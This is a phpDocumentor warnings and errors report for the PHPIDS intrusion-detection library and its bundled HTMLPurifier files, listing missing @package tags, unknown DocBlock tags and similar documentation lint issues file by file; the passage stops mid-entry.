"/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 80</b> - Unknown tag "@warning" used<br> -<b>Warning on line 80</b> - Unknown tag "@warning" used<br> -<b>Warning on line 94</b> - Unknown tag "@warning" used<br> -<b>Warning on line 125</b> - Unknown tag "@warning" used<br> -<b>Warning on line 205</b> - Unknown tag "@deprecated," used<br> -<b>Warning on line 218</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ContentSets.php"></a> -<h1>ContentSets.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ContentSets<br> -<b>Warning on line 17</b> - Unknown tag "@note" used<br> -<b>Warning on line 103</b> - Unknown tag "@note" used<br> -<b>Warning on line 152</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Context.php"></a> -<h1>Context.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@warning" used<br> -<b>Warning on line 9</b> - Unknown tag "@note" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Context<br> -<b>Warning on line 79</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Core.php"></a> -<h1>Core.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy_Core<br> -<b>Warning on line 15</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Core.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="CSS.php"></a> -<h1>CSS.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 14</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS<br> -<b>Warning on line 84</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="CSSDefinition.php"></a> -<h1>CSSDefinition.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer_CSSDefinition<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_CSSDefinition<br> -<b>Warning on line 35</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/CSSDefinition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 288</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Custom.php"></a> -<h1>Custom.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@warning" used<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_Custom<br> -<b>Warning on line 87</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Custom.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Database.php"></a> -<h1>Database.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Caching/Interface.php'", use another DocBlock to document the source element<br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Log/Interface.php'", use another DocBlock to document the source element<br> -<b>Warning on line 33</b> - package default is already in category default, will now replace with category Security<br> -<h2>Errors:</h2><br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<a name="Decorator.php"></a> -<h1>Decorator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCache_Decorator<br> -<b>Warning on line 59</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Definition.php"></a> -<h1>Definition.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Definition<br> -<b>Warning on line 36</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DefinitionCache.php"></a> -<h1>DefinitionCache.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCache<br> -<b>Warning on line 59</b> - Unknown tag "@note" used<br> -<b>Warning on line 103</b> - Unknown tag "@note" used<br> -<b>Warning on line 105</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DefinitionCacheFactory.php"></a> -<h1>DefinitionCacheFactory.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCacheFactory<br> -<b>Warning on line 88</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<h2>Errors:</h2><br> -<b>Error on line 80</b> - "@param" tag was used without any parameters, illegal<br> -<a name="DenyElementDecorator.php"></a> -<h1>DenyElementDecorator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_DenyElementDecorator<br> -<b>Warning on line 25</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Directive.php"></a> -<h1>Directive.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - Unknown tag "@note" used<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Interchange_Directive<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigDef_Directive<br> -<b>Warning on line 41</b> - Unknown tag "@bool" used<br> -<b>Warning on line 53</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/Directive.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 74</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DirectiveAlias.php"></a> -<h1>DirectiveAlias.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigDef_DirectiveAlias<br> -<b>Warning on line 22</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef/DirectiveAlias.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DirectLex.php"></a> -<h1>DirectLex.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Lexer_DirectLex<br> -<b>Warning on line 487</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DirectLex.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DisableExternal.php"></a> -<h1>DisableExternal.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIFilter_DisableExternal<br> -<b>Warning on line 20</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternal.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DisableExternalResources.php"></a> -<h1>DisableExternalResources.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIFilter_DisableExternalResources<br> -<b>Warning on line 9</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/DisableExternalResources.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DisplayLinkURI.php"></a> -<h1>DisplayLinkURI.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector_DisplayLinkURI<br> -<b>Warning on line 23</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/DisplayLinkURI.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Doctype.php"></a> -<h1>Doctype.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Doctype<br> -<b>Warning on line 57</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DoctypeRegistry.php"></a> -<h1>DoctypeRegistry.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DoctypeRegistry<br> -<b>Warning on line 25</b> - Unknown tag "@note" used<br> -<b>Warning on line 55</b> - Unknown tag "@note" used<br> -<b>Warning on line 55</b> - Unknown tag "@note" used<br> -<b>Warning on line 73</b> - Unknown tag "@note" used<br> -<b>Warning on line 100</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="DOMLex.php"></a> -<h1>DOMLex.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 26</b> - Unknown tag "@note" used<br> -<b>Warning on line 26</b> - Unknown tag "@warning" used<br> -<b>Warning on line 26</b> - Unknown tag "@note" used<br> -<b>Warning on line 27</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Lexer_DOMLex<br> -<b>Warning on line 210</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DOMLex.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Edit.php"></a> -<h1>Edit.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Edit<br> -<b>Warning on line 35</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Edit.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ElementDef.php"></a> -<h1>ElementDef.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - Unknown tag "@note" used<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ElementDef<br> -<b>Warning on line 28</b> - Unknown tag "@note" used<br> -<b>Warning on line 52</b> - Unknown tag "@warning" used<br> -<b>Warning on line 61</b> - Unknown tag "@warning" used<br> -<b>Warning on line 61</b> - Unknown tag "@warning" used<br> -<b>Warning on line 90</b> - Unknown tag "@note" used<br> -<b>Warning on line 158</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Email.php"></a> -<h1>Email.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_URI_Email<br> -<b>Warning on line 14</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Log/Interface.php'", use another DocBlock to document the source element<br> -<h2>Errors:</h2><br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<a name="Empty.php"></a> -<h1>Empty.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token_Empty<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Empty.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 9</b> - Unknown tag "@warning" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_Empty<br> -<b>Warning on line 17</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Empty.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="en-x-test.php"></a> -<h1>en-x-test.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Language_en_x_test<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-test.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 9</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/classes/en-x-test.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="en-x-testmini.php"></a> -<h1>en-x-testmini.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-testmini.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="en.php"></a> -<h1>en.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 58</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Encoder.php"></a> -<h1>Encoder.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - Unknown tag "@note" used<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Encoder<br> -<b>Warning on line 46</b> - Unknown tag "@note" used<br> -<b>Warning on line 46</b> - Unknown tag "@note" used<br> -<b>Warning on line 212</b> - Unknown tag "@note" used<br> -<b>Warning on line 212</b> - Unknown tag "@note" used<br> -<b>Warning on line 212</b> - Unknown tag "@note" used<br> -<b>Warning on line 298</b> - Unknown tag "@note" used<br> -<b>Warning on line 344</b> - Unknown tag "@note" used<br> -<b>Warning on line 344</b> - Unknown tag "@note" used<br> -<b>Warning on line 344</b> - Unknown tag "@note" used<br> -<b>Warning on line 344</b> - Unknown tag "@warning" used<br> -<b>Warning on line 417</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="End.php"></a> -<h1>End.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@warning" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token_End<br> -<b>Warning on line 16</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/End.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="EntityLookup.php"></a> -<h1>EntityLookup.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_EntityLookup<br> -<b>Warning on line 18</b> - Unknown tag "@warning" used<br> -<b>Warning on line 18</b> - Unknown tag "@note" used<br> -<b>Warning on line 41</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="EntityParser.php"></a> -<h1>EntityParser.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_EntityParser<br> -<b>Warning on line 108</b> - Unknown tag "@notice" used<br> -<b>Warning on line 141</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityParser.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Enum.php"></a> -<h1>Enum.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - Unknown tag "@warning" used<br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_Enum<br> -<b>Warning on line 22</b> - Unknown tag "@note" used<br> -<b>Warning on line 62</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Enum.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="EnumToCSS.php"></a> -<h1>EnumToCSS.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_EnumToCSS<br> -<b>Warning on line 23</b> - Unknown tag "@warning" used<br> -<b>Warning on line 55</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/EnumToCSS.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ErrorCollector.php"></a> -<h1>ErrorCollector.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ErrorCollector<br> -<b>Warning on line 206</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorCollector.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ErrorStruct.php"></a> -<h1>ErrorStruct.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ErrorStruct<br> -<b>Warning on line 57</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ErrorStruct.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Exception.php"></a> -<h1>Exception.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Exception<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Exception<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 9</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Exception.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ExtractStyleBlocks.php"></a> -<h1>ExtractStyleBlocks.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 16</b> - Unknown tag "@note" used<br> -<b>Warning on line 16</b> - Unknown tag "@note" used<br> -<b>Warning on line 17</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Filter_ExtractStyleBlocks<br> -<b>Warning on line 62</b> - Unknown tag "@warning" used<br> -<b>Warning on line 132</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="File.php"></a> -<h1>File.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Caching/Interface.php'", use another DocBlock to document the source element<br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Log/Interface.php'", use another DocBlock to document the source element<br> -<h2>Errors:</h2><br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<a name="Filter.php"></a> -<h1>Filter.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - Unknown tag "@note" used<br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Filter<br> -<b>Warning on line 21</b> - Unknown tag "@note" used<br> -<b>Warning on line 22</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Filter<br> -<b>Warning on line 43</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 51</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Filter.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="FixNesting.php"></a> -<h1>FixNesting.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 30</b> - Unknown tag "@note" used<br> -<b>Warning on line 31</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy_FixNesting<br> -<b>Warning on line 325</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Flexible.php"></a> -<h1>Flexible.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_VarParser_Flexible<br> -<b>Warning on line 93</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Flexible.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Font.php"></a> -<h1>Font.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Font<br> -<b>Warning on line 14</b> - Unknown tag "@note" used<br> -<b>Warning on line 15</b> - no @package tag was used in a DocBlock for class HTMLPurifier_TagTransform_Font<br> -<b>Warning on line 16</b> - Unknown tag "@note" used<br> -<b>Warning on line 90</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Font.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 146</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Font.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="FontFamily.php"></a> -<h1>FontFamily.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_FontFamily<br> -<b>Warning on line 87</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/FontFamily.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Forms.php"></a> -<h1>Forms.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Forms<br> -<b>Warning on line 115</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Forms.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="FrameTarget.php"></a> -<h1>FrameTarget.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_FrameTarget<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/FrameTarget.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ftp.php"></a> -<h1>ftp.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme_ftp<br> -<b>Warning on line 40</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/ftp.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Generator.php"></a> -<h1>Generator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 10</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Generator<br> -<b>Warning on line 133</b> - Unknown tag "@warning" used<br> -<b>Warning on line 148</b> - Unknown tag "@note" used<br> -<b>Warning on line 180</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Host.php"></a> -<h1>Host.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_URI_Host<br> -<b>Warning on line 59</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Host.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HostBlacklist.php"></a> -<h1>HostBlacklist.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIFilter_HostBlacklist<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter/HostBlacklist.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLDefinition.php"></a> -<h1>HTMLDefinition.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer_HTMLDefinition<br> -<b>Warning on line 25</b> - Unknown tag "@warning" used<br> -<b>Warning on line 25</b> - Unknown tag "@note" used<br> -<b>Warning on line 26</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLDefinition<br> -<b>Warning on line 55</b> - Unknown tag "@note" used<br> -<b>Warning on line 101</b> - Unknown tag "@note" used<br> -<b>Warning on line 116</b> - Unknown tag "@note" used<br> -<b>Warning on line 130</b> - Unknown tag "@note" used<br> -<b>Warning on line 269</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/HTMLDefinition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 386</b> - Unknown tag "@warning" used<br> -<b>Warning on line 417</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLModule.php"></a> -<h1>HTMLModule.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 17</b> - Unknown tag "@note" used<br> -<b>Warning on line 17</b> - Unknown tag "@note" used<br> -<b>Warning on line 18</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule<br> -<b>Warning on line 101</b> - Unknown tag "@note" used<br> -<b>Warning on line 129</b> - Unknown tag "@note" used<br> -<b>Warning on line 184</b> - Unknown tag "@note" used<br> -<b>Warning on line 223</b> - Unknown tag "@note" used<br> -<b>Warning on line 241</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLModuleManager.php"></a> -<h1>HTMLModuleManager.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModuleManager<br> -<b>Warning on line 144</b> - Unknown tag "@note" used<br> -<b>Warning on line 144</b> - Unknown tag "@note" used<br> -<b>Warning on line 329</b> - Unknown tag "@note" used<br> -<b>Warning on line 400</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="HTMLPurifier.auto.php"></a> -<h1>HTMLPurifier.auto.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier.auto.php" has no page-level DocBlock, use @package in the first DocBlock to create 